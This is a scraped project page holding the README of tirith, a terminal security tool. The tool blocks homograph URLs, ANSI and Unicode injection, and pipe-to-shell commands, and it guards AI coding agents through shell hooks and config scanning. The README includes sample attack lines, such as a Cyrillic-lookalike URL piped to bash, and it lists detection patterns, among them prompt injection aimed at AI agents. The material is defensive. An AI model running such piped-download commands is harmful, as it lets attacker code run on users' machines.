SkillAgentSearch skills...

Tirith

Your browser catches homograph attacks. Your terminal doesn't. Tirith guards the gate and intercepts suspicious URLs, ANSI injection, and pipe-to-shell attacks before they execute.

Install / Use

/learn @sheeki03/Tirith

README

tirith

Your browser would catch this. Your terminal won't.

<p align="center"> <img src="assets/cover.png" alt="tirith — terminal security" width="100%" /> </p>

CI GitHub Stars License: AGPL-3.0

Website | Docs | Changelog


Can you spot the difference?

  curl -sSL https://install.example-cli.dev | bash     # safe
  curl -sSL https://іnstall.example-clі.dev | bash     # compromised

You can't. Neither can your terminal. Both і characters are Cyrillic (U+0456), not Latin i. The second URL resolves to an attacker's server. The script executes before you notice.

Browsers solved this years ago. Terminals still render Unicode, ANSI escapes, and invisible characters without question.

Tirith stands at the gate.

brew install sheeki03/tap/tirith

Then activate in your shell profile:

# zsh
eval "$(tirith init --shell zsh)"

# bash
eval "$(tirith init --shell bash)"

# fish
tirith init --shell fish | source

That's it. Every command you run is now guarded. Zero friction on clean input. Sub-millisecond overhead. You forget it's there until it saves you.

Also available via npm, cargo, mise, apt/dnf, and more.


See it work

Homograph attack — blocked before execution:

$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname — Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

The command never executes.

Pipe-to-shell with clean URL — warned, not blocked:

$ curl -fsSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter — Download piped to interpreter
    Consider downloading first and reviewing.

Warning prints to stderr. Command still runs.

Normal commands — invisible:

$ git status
$ ls -la
$ docker compose up -d

Nothing. Zero output. You forget tirith is running.


What it catches

66 detection rules across 11 categories.

| Category | What it stops | |----------|--------------| | Homograph attacks | Cyrillic/Greek lookalikes in hostnames, punycode domains, mixed-script labels, lookalike TLDs, confusable domains | | Terminal injection | ANSI escape sequences, bidi overrides, zero-width characters, unicode tags, invisible math operators, variation selectors | | Pipe-to-shell | curl \| bash, wget \| sh, httpie \| sh, xh \| sh, python <(curl ...), eval $(wget ...) — every source-to-sink pattern | | Command safety | Dotfile overwrites, archive extraction to sensitive paths, cloud metadata endpoint access, private network access | | Insecure transport | Plain HTTP piped to shell, curl -k, disabled TLS verification, shortened URLs hiding destinations | | Environment | Proxy hijacking, sensitive env exports, code injection via env, interpreter hijack, shell injection env | | Config file security | Config injection, suspicious indicators, non-ASCII/invisible unicode in configs, MCP server security (insecure/untrusted/duplicate/permissive) | | Ecosystem threats | Git clone typosquats, untrusted Docker registries, pip/npm URL installs, web3 RPC endpoints, vet-not-configured | | Path analysis | Non-ASCII paths, homoglyphs in paths, double-encoding | | Rendered content | Hidden CSS/color content, hidden HTML attributes, markdown/HTML comments with instructions | | Cloaking detection | Server-side cloaking (bot vs browser), clipboard hidden content, PDF hidden text |


AI agent security

Tirith protects AI coding agents at every layer — from the configs they read to the commands they execute.

Shell hooks — passive command interception

When AI agents execute shell commands (Claude Code, Codex, Cursor, etc.), tirith's shell hooks intercept every command before it runs. No agent-side configuration needed — if the hook is active in the shell, all commands are guarded:

  • Blocks dangerous commands — homograph URLs, pipe-to-shell, insecure downloads
  • Blocks malicious paste — ANSI injection, bidi attacks, hidden multiline in pasted content
  • Works with every agent — any tool that spawns a shell inherits tirith protection
  • Zero agent modification — the agent doesn't know tirith exists until a command is blocked
tirith setup claude-code    # installs hook in Claude Code's shell
tirith setup codex           # installs hook in Codex's shell
tirith setup cursor          # installs hook in Cursor's shell
tirith setup gemini-cli      # installs hook in Gemini CLI's shell
tirith setup pi-cli          # installs hook in Pi CLI's shell
tirith setup openclaw        # installs before_tool_call plugin for OpenClaw

MCP server (7 tools)

Run tirith mcp-server or use tirith setup <tool> --with-mcp to register tirith as an MCP server. AI agents can call these tools before taking action:

| Tool | What it does | |------|-------------| | tirith_check_command | Analyze shell commands for pipe-to-shell, homograph URLs, env injection | | tirith_check_url | Score URLs for homograph attacks, punycode tricks, shortened URLs, raw IPs | | tirith_check_paste | Check pasted content for ANSI escapes, bidi controls, zero-width chars | | tirith_scan_file | Scan a file for hidden content, invisible Unicode, config poisoning | | tirith_scan_directory | Recursive scan with AI config file prioritization | | tirith_verify_mcp_config | Validate MCP configs for insecure servers, shell injection in args, wildcard tools | | tirith_fetch_cloaking | Detect server-side cloaking (different content for bots vs browsers) |

Config file scanning

tirith scan detects prompt injection and hidden payloads in AI config files. It prioritizes and scans 50+ known AI config file patterns:

  • .cursorrules, .windsurfrules, .clinerules, CLAUDE.md, copilot-instructions.md
  • .claude/ settings, agents, skills, plugins, rules
  • .cursor/, .vscode/, .windsurf/, .cline/, .continue/, .roo/, .codex/ configs
  • mcp.json, .mcp.json, mcp_settings.json
  • .github/copilot-instructions.md, .github/agents/*.md

What it catches in configs:

  • Prompt injection — skill activation triggers, permission bypass attempts, safety dismissal, identity reassignment, cross-tool override instructions
  • Invisible Unicode — zero-width characters, bidi controls, soft hyphens, Unicode tags hiding instructions
  • MCP config issues — insecure HTTP connections, raw IP servers, shell metacharacters in args, duplicate server names, wildcard tool access

Hidden content detection

Detects content invisible to humans but readable by AI in HTML, Markdown, and PDF:

  • CSS hidingdisplay:none, visibility:hidden, opacity:0, font-size:0, off-screen positioning
  • Color hiding — white-on-white text, similar foreground/background (contrast ratio < 1.5:1)
  • HTML/Markdown comments — long comments hiding instructions for AI agents
  • PDF hidden text — sub-pixel rendered text (font-size < 1px) invisible to readers but parseable by LLMs

Cloaking detection

tirith fetch compares server responses across 6 user-agents (Chrome, ClaudeBot, ChatGPT-User, PerplexityBot, Googlebot, curl) to detect when servers serve different content to AI bots vs browsers.


Install

macOS

Homebrew:

brew install sheeki03/tap/tirith

Linux Packages

Debian / Ubuntu (.deb):

Download from GitHub Releases, then:

sudo dpkg -i tirith_*_amd64.deb

Fedora / RHEL / CentOS 9+ (.rpm):

Download from GitHub Releases, then:

sudo dnf install ./tirith-*.rpm

Arch Linux (AUR):

yay -S tirith
# or: paru -S tirith

Nix:

nix profile install github:sheeki03/tirith
# or try without installing: nix run github:sheeki03/tirith -- --version

Windows

Scoop:

scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith

Chocolatey (under moderation — pending approval):

choco install tirith

Cross-Platform

npm:

npm install -g tirith

Cargo:

cargo install tirith

Mise (official registry):

mise use -g tirith

asdf:

asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git
asdf install tirith latest
asdf global tirith latest

Docker:

docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"

Activate

Add to your shell profile (.zshrc, .bashrc, or config.fish):

eval "$(tirith init --shell zsh)"   # in ~/.zshrc
eval "$(tirith init --shell bash)"  # in ~/.bashrc
tirith init --shell fish | source   # in ~/.config/fish/config.fish

| Shell | Hook type | Tested on | |-------|-----------|-----------| | zsh | preexec + paste widget | 5.8+ | | bash | preexec (two modes) | 5.0+ | | fish | fish_preexec event | 3.5+ | | PowerShell | PSReadLine handler | 7.0+ |

In bash, enter mode is used by default with a startup health gate and runtime self-healing. SSH sessions automatically fall back to preexec mode for PTY compatibility. If enter mode detects a failure, it auto-degrades to preexec

Related Skills

View on GitHub
GitHub Stars2.1k
CategoryDevelopment
Updated13h ago
Forks71

Languages

Rust

Security Score

100/100

Audited on Mar 25, 2026

No findings